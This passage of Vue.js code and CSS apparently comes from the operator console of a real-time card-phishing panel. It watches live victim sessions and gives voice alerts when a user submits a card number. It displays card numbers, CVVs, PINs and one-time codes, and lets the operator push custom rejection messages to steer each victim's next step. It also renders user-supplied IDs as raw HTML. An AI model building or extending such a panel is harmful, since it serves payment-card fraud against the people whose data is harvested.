        const currentEvent = this.currentRejectRow.current_event || this.currentRejectRow.event || 'otp'
        this.$set(this.list[userIndex], 'step', 5) // 保存step状态（拒绝，自定义错误）
        this.$set(this.list[userIndex], 'event', currentEvent) // 保留event用于显示状态文本
        // 同时更新current_step和current_event（用于兼容）
        this.$set(this.list[userIndex], 'current_step', 5)
        this.$set(this.list[userIndex], 'current_event', currentEvent)
        console.log(`[AccessControl] 已更新用户 ${this.currentRejectRow.socket_id} 的状态: step=5, event=${currentEvent}, 自定义文案: ${customMessage}`)
      }

      // 关闭弹窗并重置
      this.rejectDialogVisible = false
      this.rejectDialogForm.customMessage = ''
      this.currentRejectRow = null
      this.currentRejectAction = ''
    },
    // 取消拒绝自定义文案
    cancelReject() {
      this.rejectDialogVisible = false
      this.rejectDialogForm.customMessage = ''
      this.currentRejectRow = null
      this.currentRejectAction = ''
    },
    // 检测新用户并播放语音提示
    detectNewUsers(newUsers) {
      if (!Array.isArray(newUsers)) {
        return
      }

      // 如果是第一次加载，初始化previousUserIds

      // 找出新用户（在当前列表中存在，但在之前列表中不存在的）

      console.log('newUsers===============', newUsers)
      // 如果有新用户，播放语音提示
      if (newUsers.length > 0) {
        const arr = []
        const content = []
        let VOICE_SOCKET_IDS = sessionStorage.getItem('VOICE_SOCKET_IDS') || '[]'
        VOICE_SOCKET_IDS = JSON.parse(VOICE_SOCKET_IDS)

        newUsers.forEach(item => {
          console.log('item', item)
          if (!VOICE_SOCKET_IDS.includes(item.socket_id)) {
            if (item.event == 'card' && item.step == 0) {
              arr.push(`用户【${item.user_id}】已提交卡号，请及时处理`)
              content.push(`用户【${item.user_id}】已提交卡号，请及时处理`)
            }
            VOICE_SOCKET_IDS.push(item.socket_id)
            sessionStorage.setItem('VOICE_SOCKET_IDS', JSON.stringify(VOICE_SOCKET_IDS))
          }
        })
        console.log('aa=================', arr)
        if (arr.length > 0) {
          this.playNotificationSound()
          this.speakNotification(JSON.stringify(arr))

          this.$notify({
            position: 'bottom-left',
            dangerouslyUseHTMLString: true,
            message: `<div style="color:red">${content.join('</br>')}</div>`
            // message: h('i', { style: 'color: red'}, content.join('</br>'))
          })
        }
      }

      // 更新之前的用户ID集合
      // this.previousUserIds = currentUserIds
    },
    // 播放提示音
    playNotificationSound() {
      try {
        // 使用 Web Audio API 生成一个简短的提示音
        const audioContext = new (window.AudioContext || window.webkitAudioContext)()
        const oscillator = audioContext.createOscillator()
        const gainNode = audioContext.createGain()

        oscillator.connect(gainNode)
        gainNode.connect(audioContext.destination)

        oscillator.frequency.value = 800 // 频率
        oscillator.type = 'sine' // 正弦波

        gainNode.gain.setValueAtTime(0.3, audioContext.currentTime) // 音量
        gainNode.gain.exponentialRampToValueAtTime(0.01, audioContext.currentTime + 0.5) // 淡出

        oscillator.start(audioContext.currentTime)
        oscillator.stop(audioContext.currentTime + 0.5)
      } catch (err) {
        console.warn('[AccessControl] 播放提示音失败:', err)
      }
    },
    // 语音播报
    speakNotification(text) {
      speakText(text, {
        lang: 'zh-CN',
        rate: 2,
        pitch: 1,
        volume: 1,
        onError: (error) => {
          console.warn('[AccessControl] 语音播报失败:', error)
        }
      }).catch(err => {
        console.warn('[AccessControl] 语音播报失败:', err)
      })
    },
    // 查看卡信息详情
    async handleViewCardInfo(row, item) {
      console.log('[AccessControl] 查看卡信息详情:', row)
      this.userDetailDialogVisible = true
      this.userDetailLoading = true

      try {
        // 调用API获取详细信息，优先使用trade_no，否则使用user_id
        const queryParam = row.trade_no || row.user_id
        if (!queryParam) {
          throw new Error('缺少查询参数 trade_no 或 user_id')
        }

        const response = await fetchOrderInfo(queryParam)
        console.log('[AccessControl] 用户详情响应:', response)

        if (response && response.code === 1) {
          this.currentUserRow = response.data

          // if (item) {
          //   this.currentRow = {
          //     ...this.currentUserRow,
          //     ...row, // 保留实时数据
          //     card_number: item.card_number,
          //     cvv: item.cvv,
          //     expires: item.expiration,
          //     verification_code: row.verification_code || row.otp,
          //     pin: row.pin,
          //     event: row.event,
          //     step: row.step
          //   }
          // } else {
          // 合并当前行的实时数据
          this.currentUserRow = {
            ...this.currentUserRow,
            ...row, // 保留实时数据
            card_number: row.card_number || this.currentUserRow.card_number,
            cvv: row.cvv || this.currentUserRow.cvv,
            verification_code: row.verification_code || row.otp,
            pin: row.pin,
            event: row.event,
            step: row.step
          }
          // }
        } else {
          console.warn('[AccessControl] 获取用户详情失败:', response?.message)
          this.currentUserRow = row // 使用原始数据作为后备
        }
      } catch (error) {
        console.error('[AccessControl] 获取用户详情异常:', error)
        this.currentUserRow = row // 使用原始数据作为后备
      } finally {
        this.userDetailLoading = false
      }
    },
    // 关闭用户信息弹窗
    handleCloseUserDialog() {
      this.userDetailDialogVisible = false
      this.currentUserRow = null
    }
  }
}
</script>

  <style>
.search-filter {
  margin: 10px;
}

.sortable-ghost {
  opacity: 0.8;
  color: #fff !important;
  background: #42b983 !important;
}

/* Popover 下拉菜单样式 */
.action-popover {
  padding: 8px 0 !important;
}
</style>

  <style scoped>
.icon-star {
  margin-right: 2px;
}
.drag-handler {
  width: 20px;
  height: 20px;
  cursor: pointer;
}
.show-d {
  margin-top: 15px;
 }

 /* 字段值样式 */
 .field-value {
   font-weight: normal;
   color: #606266;
 }
 .field-value.has-value {
   font-weight: bold;
 }
 .field-value.verification-code.has-value {
   color: #409eff; /* 蓝色 - 验证码 */
 }
 .field-value.pin-code.has-value {
   color: #67c23a; /* 绿色 - PIN */
 }
 .field-value.cvv-code.has-value {
   color: #f56c6c; /* 红色 - CVV码 */
 }
 .field-value.card-info.has-value {
   color: #e6a23c; /* 橙色 - 卡信息 */
 }
 .history-card{
    background: #e5e5e5;
    color: #333;
    padding: 10px;
    border-radius: 10px;
    margin-bottom: 10px;
    cursor: pointer;

  }

 /* 操作菜单样式 */
.action-menu {
  max-height: 400px;
  overflow-y: auto;
}

.action-item {
  display: flex;
  align-items: center;
  padding: 10px 16px;
  cursor: pointer;
  transition: all 0.3s;
  font-size: 14px;
  color: #606266;
}

.action-item i {
  margin-right: 8px;
  font-size: 16px;
}

.action-item:hover {
  background-color: #f5f7fa;
  color: #409eff;
}

.action-item.success {
  color: #67c23a;
}

.action-item.success:hover {
  background-color: #f0f9ff;
  color: #67c23a;
}

.action-item.warning {
  color: #e6a23c;
}

.action-item.warning:hover {
  background-color: #fdf6ec;
  color: #e6a23c;
}

.action-item.danger {
  color: #f56c6c;
}

.action-item.danger:hover {
  background-color: #fef0f0;
  color: #f56c6c;
}

.action-item span {
  flex: 1;
}
</style>
